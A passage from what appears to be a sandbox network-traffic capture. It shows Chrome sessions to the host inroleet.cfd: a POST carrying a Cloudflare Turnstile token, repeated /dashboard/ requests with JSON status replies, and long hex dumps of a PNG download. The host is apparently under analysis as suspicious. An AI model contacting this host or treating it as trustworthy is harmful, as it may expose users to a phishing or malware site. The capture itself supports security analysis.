2024-05-07 14:12:37 UTC	670	OUT	POST /dashboard/ekro HTTP/1.1 Host: inroleet.cfd Connection: keep-alive Content-Length: 776 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypFByMOCBHamO0w0y Accept: / Origin: https://inroleet.cfd Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://inroleet.cfd/dashboard/jdiey Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:37 UTC	776	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 70 46 42 79 4d 4f 43 42 48 61 6d 4f 30 77 30 79 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 22 0d 0a 0d 0a 30 2e 42 31 56 62 54 56 6f 65 4a 35 76 79 69 5f 45 5f 2d 33 79 39 35 34 44 75 69 6d 5a 6e 62 57 6e 7a 69 34 45 38 57 78 49 62 4b 61 57 4a 74 53 49 41 52 56 74 35 72 4d 38 45 6e 78 6b 39 44 66 4b 36 68 67 30 5f 46 71 35 6c 4b 32 63 53 4e 79 4a 34 72 57 37 74 6e 63 76 76 4b 78 70 37 4c 54 72 5f 33 64 79 4b 55 6d 4a 4e 74 42 49 33 31 4d 5a 74 50 75 4d 45 51 73 45 54 55 4b 74 4c 33 38 6f 50 33 53 49 73 69 57 2d 51 44 6d 30 4b 46 31 4a 30 58 37 38 Data Ascii: ------WebKitFormBoundarypFByMOCBHamO0w0yContent-Disposition: form-data; name="cf-turnstile-response"0.B1VbTVoeJ5vyi_E_-3y954DuimZnbWnzi4E8WxIbKaWJtSIARVt5rM8Enxk9DfK6hg0_Fq5lK2cSNyJ4rW7tncvvKxp7LTr_3dyKUmJNtBI31MZtPuMEQsETUKtL38oP3SIsiW-QDm0KF1J0X78
2024-05-07 14:12:41 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:37 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Content-Length: 18 Connection: close Content-Type: text/html; charset=UTF-8
2024-05-07 14:12:41 UTC	18	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 7d Data Ascii: {"status":"error"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49754	163.5.112.235	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:38 UTC	500	OUT	GET /dashboard/wlqo HTTP/1.1 Host: inroleet.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:40 UTC	241	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:38 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Access-Control-Allow-Origin: * Content-Length: 20 Connection: close Content-Type: application/json
2024-05-07 14:12:40 UTC	20	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d Data Ascii: {"status":"success"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49755	163.5.112.235	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:41 UTC	350	OUT	GET /dashboard/wlqo HTTP/1.1 Host: inroleet.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:43 UTC	241	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:41 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Access-Control-Allow-Origin: * Content-Length: 18 Connection: close Content-Type: application/json
2024-05-07 14:12:43 UTC	18	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 7d Data Ascii: {"status":"error"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	49756	163.5.112.235	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:41 UTC	607	OUT	GET /dashboard/fkfhskjfk.png HTTP/1.1 Host: inroleet.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://inroleet.cfd/dashboard/jdiey Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:41 UTC	277	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:41 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Tue, 07 May 2024 13:20:30 GMT ETag: "af95c-617dd0ccfd8a4" Accept-Ranges: bytes Content-Length: 719196 Connection: close Content-Type: image/png
2024-05-07 14:12:41 UTC	7915	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 82 00 00 03 41 08 02 00 00 00 d2 a2 5d 6f 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 0b 8b 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 34 36 30 2c 20 32 30 32 30 2f 30 35 2f 31 32 2d 31 36 3a 30 34 3a 31 37 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDRA]opHYs+iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164460, 2020/05/12-16:04:17 "> <rdf:RD
2024-05-07 14:12:42 UTC	16384	IN	Data Raw: 3c 31 09 02 9c eb fa db 72 0b 00 6b ab a5 d5 b5 ae 37 d3 e9 94 26 22 6a aa 55 6b 55 b5 41 18 21 40 dd 02 f3 91 10 49 5d 9b aa 83 47 24 c8 97 e9 f4 65 3a 61 9a 12 22 02 8d 60 8b 88 1f 01 0b 41 48 5b d5 a6 91 f5 02 91 91 12 4b 62 01 66 21 24 21 4a 2c 59 12 23 39 78 33 4e 6e 80 12 c4 84 10 cf 69 62 e2 29 e5 90 a3 cd bd b4 7a 57 ce 84 38 b2 7a 9a 6e c6 c4 2b 21 66 6d 08 dc e7 f3 19 11 6b 29 2c 64 ea a5 96 65 59 44 24 89 c0 e6 eb 12 e4 0a 13 33 9b da b2 2c aa 2d 92 90 02 78 17 51 99 85 25 e5 8c 00 b5 d6 da 2a b8 33 cb 7c 9a cd 9d 1e d8 d2 3f de 7e b3 2e 86 2e 8b bb ab 69 2d b5 d7 25 61 12 96 9c 73 bc 75 70 47 c2 30 7c b9 59 38 db 87 5e 47 cc 49 c4 dd 4b 29 e1 e1 5c 6b ab b5 aa 36 07 9f 72 6e 37 37 a1 11 5d 65 d8 b7 c6 8f 08 90 56 6b 6d ad 02 00 92 01 78 58 83 Data Ascii: <1rk7&"jUkUA!@I]G$e:a"`AH[Kbf!$!J,Y#9x3Nnib)zW8zn+!fmk),deYD$3,-xQ%*3\|?~..i-%asupG0\|Y8^GIK)\k6rn77]eVkmxX
2024-05-07 14:12:42 UTC	16384	IN	Data Raw: 9a 03 88 c8 34 cd 5f bf 5a b0 96 7e 3d c7 fe 78 d5 b1 61 ba 9b 48 8a 48 ed 4d 57 d9 ef 18 ee be e5 91 dd 34 f6 d6 bf 5d 55 9b 59 7a 5f a2 ca 0d f8 04 08 c0 46 ca d4 ce 4d 6c 6b 3f 8a 41 46 8a 96 f7 ed 51 7b 6c 02 6e a8 ca e1 0f 12 fb 39 20 9a 83 39 4a ca 29 4f 29 4f 91 f9 58 b5 01 92 01 02 50 ca 29 4d 53 ce 99 88 1d 1c b0 aa 79 55 73 ab ee 8f c5 d3 eb 23 e8 22 74 c0 90 8a 15 d0 91 81 18 39 21 27 62 21 49 94 fa 7f 9c 04 98 01 81 dc 49 87 0f 53 0f da ea c7 d3 47 82 20 b6 56 21 10 75 85 84 98 a7 70 74 c9 89 de 3e 8d dd dd 54 d7 60 04 4b 31 d5 20 01 bf 79 1b 44 20 00 26 c8 8c 5f 32 fd 6d 22 35 46 70 41 5d 95 12 e3 8d 50 62 44 07 0d 1a 42 b1 1a 34 03 75 54 77 75 6c 0e cd a1 1a a0 03 3b 90 5f 6c df 6e a0 0e d5 40 dd 7b e6 eb 6f 34 a6 6f 98 34 ec 10 f7 84 91 f0 Data Ascii: 4_Z~=xaHHMW4]UYz_FMlk?AFQ{ln9 9J)O)OXP)MSyUs#"t9!'b!IISG V!upt>T`K1 yD &_2m"5FpA]PbDB4uTwul;_ln@{o4o4
2024-05-07 14:12:42 UTC	16384	IN	Data Raw: ad cd e1 44 0a 22 a5 14 53 4a 53 9a 42 cd 43 d6 61 b4 55 39 ea 9a 4d 51 53 91 9c b3 57 12 c9 25 d7 55 46 cc b9 38 6a 50 4a 31 d3 1e 5f ad e8 15 9b bc fe a8 27 46 65 00 f0 eb 5d c7 34 35 df 7e de 4c 01 aa d5 1a 39 30 22 a6 18 89 a8 4c 53 cb 71 f9 48 7f f1 4e 1f 40 cd e0 ac 51 b2 fe ae fb 39 7d f6 78 5c f2 28 87 6b 8b 41 12 88 13 a4 24 ff 9f d5 8e c5 8a 76 9b 61 63 9e 36 c0 10 e0 75 64 09 e7 40 ff 35 d1 ff 79 1f ee 13 47 3e b3 16 9f 99 c8 f5 df ae 5d fe f8 8c 2a 28 c3 e7 a0 cc 27 41 6c 5f 87 41 7d 9d 24 91 ed cb 70 aa 19 3c 7d dd c7 90 b6 4e d5 39 af c7 e3 e2 39 71 cc 21 a5 18 63 22 42 ef c1 ac ad 49 ad a9 96 52 96 65 41 c0 ec d1 10 35 29 63 09 25 48 29 48 b4 e6 95 90 8a 94 92 73 4d ca c8 39 e7 bc 2c 47 5f b1 10 78 9a e7 52 fe e5 29 0f 35 3d f2 83 37 47 67 Data Ascii: D"SJSBCaU9MQSW%UF8jPJ1_'Fe]45~L90"LSqHN@Q9}x\(kA$vac6ud@5yG>]*('Al_A}$p<}N99q!c"BIReA5)c%H)HsM9,G_xR)5=7Gg
2024-05-07 14:12:42 UTC	16384	IN	Data Raw: 18 17 70 5b 19 06 68 e0 b1 71 60 29 85 58 b5 f6 ef d0 0d cc 23 22 04 44 53 33 a8 e5 fd 01 00 91 42 e0 c0 c1 03 0a ae ae 5b 1f 58 8b 87 c7 ee 54 87 81 b3 f7 eb a9 c5 b9 f5 73 cb c1 82 05 6f 06 e6 4c 93 91 80 c8 cc 8a 01 d5 22 94 c8 ad 0c 23 22 7a a9 67 7f bc e9 56 27 c6 1a ab aa e5 f1 c8 d3 72 aa 3a 42 a2 6d ab 58 43 70 b7 02 0a 7f 30 d9 49 d0 f8 43 f1 80 43 a6 18 d3 8c 18 42 f3 d3 d6 6b af b3 a1 ae 38 b6 4c 19 1a 0f 32 0e e2 e1 2a db 6d 3b ea 29 31 dc 52 fd 73 ce d9 cf a0 99 79 7f 46 b8 c6 1c c7 0f fc 94 a1 6d 25 30 e1 42 00 9c 25 f9 3b fc 72 5d d8 0c c1 99 3e 59 bf 43 69 4d 79 bd 65 9a f5 7e 69 8f af c0 d9 3a 8c ab f1 f4 82 7c 3e f9 60 ea c1 b1 ed c3 67 df dd 1b a9 5a 40 aa 62 5a 8a 7b 5a b4 48 2d 88 06 00 ce 85 f0 64 9b f6 0d 93 d7 75 35 30 22 14 91 5c Data Ascii: p[hq`)X#"DS3B[XTsoL"#"zgV'r:BmXCp0ICCBk8L2*m;)1RsyFm%0B%;r]>YCiMye~i:\|>`gZ@bZ{ZH-du50"\
2024-05-07 14:12:42 UTC	16384	IN	Data Raw: 9d 76 da 69 a7 9d 76 da 69 a7 6f 41 a1 97 fa 7b 94 fe 02 c3 6e 2c 31 f0 d1 c5 0e 3b 0c e1 66 f3 87 3e eb 0b d2 d8 d8 62 5c ea 31 1d e6 b1 2f fa 3b ea 50 d1 f8 dd c7 96 f4 f1 b7 f9 17 ae fd 4e 3b ed b4 d3 4e 3b ed b4 d3 4e 3b ed b4 d3 ef a7 00 66 6e 02 0e 76 d9 66 bb d5 cf fe 74 93 ad 47 40 bc c8 9d 7e 66 45 df f2 95 b1 13 c7 13 30 c4 4b 23 05 3e 88 2e ad fd 77 b9 67 a7 b1 ac 03 33 3f 8d 44 3c f6 8e 9e 58 d2 56 83 63 8b 44 81 f6 c7 f3 b6 9f a7 4f 82 3f 7c bf ef b4 d3 4e 3b ed b4 d3 4e 3b ed b4 d3 4e 3b fd 36 0a eb b2 20 33 31 33 11 54 9b cd 4c cd 00 10 09 09 36 c3 ee 1b 82 11 37 86 36 bc b4 b2 c0 59 e2 c6 8b 56 e8 89 42 06 8f 8d f6 89 db 7e d0 3b e9 f3 ba da 81 e2 75 0f 1d e3 20 bc 5a 67 ce d9 3f 0c 21 98 59 08 c1 c1 88 c7 1e f1 d8 3b ba 5c d2 36 7e a8 9b Data Ascii: vivioA{n,1;f>b\1/;PN;N;N;fnvftG@~fE0K#>.wg3?D<XVcDO?\|N;N;N;6 313TL676YVB~;u Zg?!Y;\6~
2024-05-07 14:12:42 UTC	16384	IN	Data Raw: 96 39 1b 32 ba 69 cd 39 03 76 15 aa f9 0d 7c 2b 21 a1 a5 e4 3c 2f f3 bc 14 6a 16 10 d0 85 00 5b c4 4e ef 9d 41 c2 e4 5a f3 9c 8d 82 0c c3 e1 d9 cd 07 68 04 11 1d bd 96 e9 f6 c5 f3 8f 9e df 4e a5 54 f7 c6 a0 10 63 0c 84 35 cf f3 bc 2c a5 de e7 b3 d5 65 ca 0a 44 cc c4 4c 64 5a aa 02 b2 84 18 53 4a 81 d1 ca 92 4b 2d aa 66 8e 48 c8 cc 12 18 ad e4 79 ca 15 cc 00 48 24 a5 31 ab f7 09 21 26 ea e6 b0 b3 71 4d 39 93 03 0a 0b 6b 41 23 0e 9e 63 25 0c 80 76 38 78 4a 40 b0 2c f3 f3 e7 b7 77 4b 7d f7 f4 9f ed ca 3e 86 ea 33 11 68 01 d5 b2 b4 94 28 92 e1 d9 e7 3e ff b9 0f 9e 8d 6e 4c 56 e6 e3 ed 8b 8f 3e 7a 1a fc 6f 03 68 fe a4 bc 4c 77 77 33 02 4e 1c a7 e3 71 4c 87 e9 d9 18 03 39 b8 22 62 4a c3 10 03 a2 e7 79 7a f1 fc f6 6e 7e f7 f4 33 9e 1b b2 96 e3 74 77 bb 18 23 a2 Data Ascii: 92i9v\|+!</j[NAZhNTc5,eDLdZSJK-fHyH$1!&qM9kA#c%v8xJ@,wK}>3h(>nLV>zohLww3NqL9"bJyzn~3tw#
2024-05-07 14:12:42 UTC	16384	IN	Data Raw: 7c 9c 97 5c 8a ae 93 33 a4 14 18 b4 e5 a5 39 22 12 10 68 5d ee ee ee 6e 17 15 92 79 9a 97 69 c9 4b 75 58 8d 85 4c c4 af bf 1f 3e 3d fd 2d 26 90 64 18 86 c0 60 65 9e a7 9c 73 b3 99 03 30 01 59 ce d3 a4 b8 cc 61 99 a6 f9 38 1c d3 74 b8 39 a4 24 88 ee 1c 86 20 d2 e3 5c 72 75 57 2d d3 72 37 e5 ea 9b ff 3c 8c 87 67 87 24 e8 75 99 a7 e3 71 9a 97 52 54 01 91 da 15 39 2d ce 63 8a 43 94 80 ea a5 10 84 12 63 09 ec 88 65 99 a7 29 57 92 38 c4 34 0c 29 05 26 70 b7 32 b7 2b a8 54 55 77 62 09 71 38 3c 2b 55 eb 98 52 14 02 ab cb b2 2c 4b 9e 97 65 5e b2 73 20 d6 56 bf 6b d6 45 db c0 55 7b b9 13 16 89 29 46 41 00 90 38 c6 f0 fa 11 b5 c0 ac 34 8c a9 05 54 cd cb dc 34 f5 9c ab 59 f4 71 39 d4 1a b5 a2 3a d6 66 44 9c 96 82 ef 17 fd c5 8c 0c 9b 8d ba c5 21 b7 63 86 c0 5d 6b 5e Data Ascii: \|\39"h]nyiKuXL>=-&d`es0Ya8t9$ \ruW-r7<g$uqRT9-cCce)W84)&p2+TUwbq8<+UR,Ke^s VkEU{)FA84T4Yq9:fD!c]k^
2024-05-07 14:12:42 UTC	16384	IN	Data Raw: 64 23 3d ee 36 0c 1e 2f ce 33 b8 f9 80 49 a0 64 8f e0 dc 50 00 30 5f 69 0e e6 79 8c d0 4c a9 a6 cd 79 3f 60 1e 80 da 07 9b e7 93 9b 19 f7 73 e9 3c 85 e6 18 bd de 9b ad 7d 73 82 be 36 6b ed 2c dd 3f a3 87 90 63 da 5b 3b 07 e7 2b eb 11 20 20 4e 4f e4 f6 e5 e5 cb 3e 82 e6 c2 72 d4 f5 d3 c5 ae ee 8b ea b8 17 42 9f e9 b9 e9 57 e7 6b b0 f0 ac 61 3b d7 af 8d de 8f ed f6 f2 e5 76 db bb 33 0b d2 8c 28 dd 43 38 12 67 f4 e5 6b 7f 27 e6 60 f5 be 6f 2f 5f 7e ff e7 7f ff f3 5f 2f 6d 38 00 6b a9 cb fa e9 b7 7f 5c 97 c2 30 5a 9e ae 21 cb 6f c3 3e 5d d7 ca e0 6d ff f2 fb ef ff fa fd cb ad 19 94 eb ff 65 81 cc a9 eb 42 1c f8 97 9d ab 1f 6d 39 55 16 6e 96 37 dd 23 b8 7a 66 1f 33 85 08 67 c4 e1 8c 72 9e 2b 7c 06 d8 27 2e ec 0c 98 f9 18 c3 26 8e 30 20 c2 fa 68 db f6 f2 f2 f2 Data Ascii: d#=6/3IdP0_iyLy?`s<}s6k,?c[;+ NO>rBWka;v3(C8gk'`o/_~_/m8k\0Z!o>]meBm9Un7#zf3gr+\|'.&0 h
2024-05-07 14:12:42 UTC	16384	IN	Data Raw: a7 7d 70 30 dd 2b 18 22 e2 17 cc ff cd 3e 63 d3 ce 1a 33 fb 8a 71 f1 ca 53 99 29 78 cd d3 e0 19 46 e7 fd 3e 90 90 1b 84 0b 46 2e d6 d5 f4 fa fc a9 f0 a7 35 fe a1 3f 37 e9 70 f7 a7 f6 17 a9 a8 99 02 1c 2c 45 5e de f4 f9 4d cc 37 bf 1b ca 88 db cd fb b3 ab e9 18 3f dd cb 67 07 f8 2e ef f2 2e ef 72 27 38 f7 e5 eb 16 3e 1c 84 3b 07 c6 e5 7e cf f6 5d f3 c6 60 7d dd 7e 7b e5 dc bf ab ec fc 55 e7 b1 03 10 a2 b3 e9 04 12 d3 e8 4d a0 2a a2 0a c8 1c 78 b2 b9 3d b7 e9 5e dd ff 61 30 ed dd a6 ca 4f f9 e5 23 bc b9 d5 bc dc af 7d d8 2f bd 8f bd 66 6c 5c ff 78 00 f6 bf e3 53 d9 5d 98 ed 57 be be 67 f6 c3 d5 01 c6 c3 29 7a e5 14 b7 81 39 dd 23 45 e3 2f d7 27 a4 57 7f fc 15 e5 75 fb e7 fb c9 e6 fe 1a e3 1f c6 ee 2b 66 dc cf 5e e2 17 78 5e af 2f 9f 57 fc af 31 f8 69 84 fe Data Ascii: }p0+">c3qS)xF>F.5?7p,E^M7?g..r'8>;~]`}~{UM*x=^a0O#}/fl\xS]Wg)z9#E/'Wu+f^x^/W1i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49757	163.5.112.235	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:41 UTC	350	OUT	GET /dashboard/ekro HTTP/1.1 Host: inroleet.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:43 UTC	217	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:41 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Content-Length: 20 Connection: close Content-Type: text/html; charset=UTF-8
2024-05-07 14:12:43 UTC	20	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d Data Ascii: {"status":"success"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49758	163.5.112.235	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:42 UTC	500	OUT	GET /dashboard/wlqo HTTP/1.1 Host: inroleet.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:44 UTC	241	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:42 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 X-Powered-By: PHP/8.1.25 Access-Control-Allow-Origin: * Content-Length: 18 Connection: close Content-Type: application/json
2024-05-07 14:12:44 UTC	18	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 65 72 72 6f 72 22 7d Data Ascii: {"status":"error"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49759	163.5.112.235	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:43 UTC	359	OUT	GET /dashboard/fkfhskjfk.png HTTP/1.1 Host: inroleet.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:43 UTC	277	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:43 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Tue, 07 May 2024 13:20:30 GMT ETag: "af95c-617dd0ccfd8a4" Accept-Ranges: bytes Content-Length: 719196 Connection: close Content-Type: image/png
2024-05-07 14:12:43 UTC	7915	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 05 82 00 00 03 41 08 02 00 00 00 d2 a2 5d 6f 00 00 00 09 70 48 59 73 00 00 0e c4 00 00 0e c4 01 95 2b 0e 1b 00 00 0b 8b 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 36 2e 30 2d 63 30 30 32 20 37 39 2e 31 36 34 34 36 30 2c 20 32 30 32 30 2f 30 35 2f 31 32 2d 31 36 3a 30 34 3a 31 37 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 Data Ascii: PNGIHDRA]opHYs+iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164460, 2020/05/12-16:04:17 "> <rdf:RD
2024-05-07 14:12:43 UTC	16384	IN	Data Raw: 3c 31 09 02 9c eb fa db 72 0b 00 6b ab a5 d5 b5 ae 37 d3 e9 94 26 22 6a aa 55 6b 55 b5 41 18 21 40 dd 02 f3 91 10 49 5d 9b aa 83 47 24 c8 97 e9 f4 65 3a 61 9a 12 22 02 8d 60 8b 88 1f 01 0b 41 48 5b d5 a6 91 f5 02 91 91 12 4b 62 01 66 21 24 21 4a 2c 59 12 23 39 78 33 4e 6e 80 12 c4 84 10 cf 69 62 e2 29 e5 90 a3 cd bd b4 7a 57 ce 84 38 b2 7a 9a 6e c6 c4 2b 21 66 6d 08 dc e7 f3 19 11 6b 29 2c 64 ea a5 96 65 59 44 24 89 c0 e6 eb 12 e4 0a 13 33 9b da b2 2c aa 2d 92 90 02 78 17 51 99 85 25 e5 8c 00 b5 d6 da 2a b8 33 cb 7c 9a cd 9d 1e d8 d2 3f de 7e b3 2e 86 2e 8b bb ab 69 2d b5 d7 25 61 12 96 9c 73 bc 75 70 47 c2 30 7c b9 59 38 db 87 5e 47 cc 49 c4 dd 4b 29 e1 e1 5c 6b ab b5 aa 36 07 9f 72 6e 37 37 a1 11 5d 65 d8 b7 c6 8f 08 90 56 6b 6d ad 02 00 92 01 78 58 83 Data Ascii: <1rk7&"jUkUA!@I]G$e:a"`AH[Kbf!$!J,Y#9x3Nnib)zW8zn+!fmk),deYD$3,-xQ%*3\|?~..i-%asupG0\|Y8^GIK)\k6rn77]eVkmxX
2024-05-07 14:12:43 UTC	16384	IN	Data Raw: 9a 03 88 c8 34 cd 5f bf 5a b0 96 7e 3d c7 fe 78 d5 b1 61 ba 9b 48 8a 48 ed 4d 57 d9 ef 18 ee be e5 91 dd 34 f6 d6 bf 5d 55 9b 59 7a 5f a2 ca 0d f8 04 08 c0 46 ca d4 ce 4d 6c 6b 3f 8a 41 46 8a 96 f7 ed 51 7b 6c 02 6e a8 ca e1 0f 12 fb 39 20 9a 83 39 4a ca 29 4f 29 4f 91 f9 58 b5 01 92 01 02 50 ca 29 4d 53 ce 99 88 1d 1c b0 aa 79 55 73 ab ee 8f c5 d3 eb 23 e8 22 74 c0 90 8a 15 d0 91 81 18 39 21 27 62 21 49 94 fa 7f 9c 04 98 01 81 dc 49 87 0f 53 0f da ea c7 d3 47 82 20 b6 56 21 10 75 85 84 98 a7 70 74 c9 89 de 3e 8d dd dd 54 d7 60 04 4b 31 d5 20 01 bf 79 1b 44 20 00 26 c8 8c 5f 32 fd 6d 22 35 46 70 41 5d 95 12 e3 8d 50 62 44 07 0d 1a 42 b1 1a 34 03 75 54 77 75 6c 0e cd a1 1a a0 03 3b 90 5f 6c df 6e a0 0e d5 40 dd 7b e6 eb 6f 34 a6 6f 98 34 ec 10 f7 84 91 f0 Data Ascii: 4_Z~=xaHHMW4]UYz_FMlk?AFQ{ln9 9J)O)OXP)MSyUs#"t9!'b!IISG V!upt>T`K1 yD &_2m"5FpA]PbDB4uTwul;_ln@{o4o4
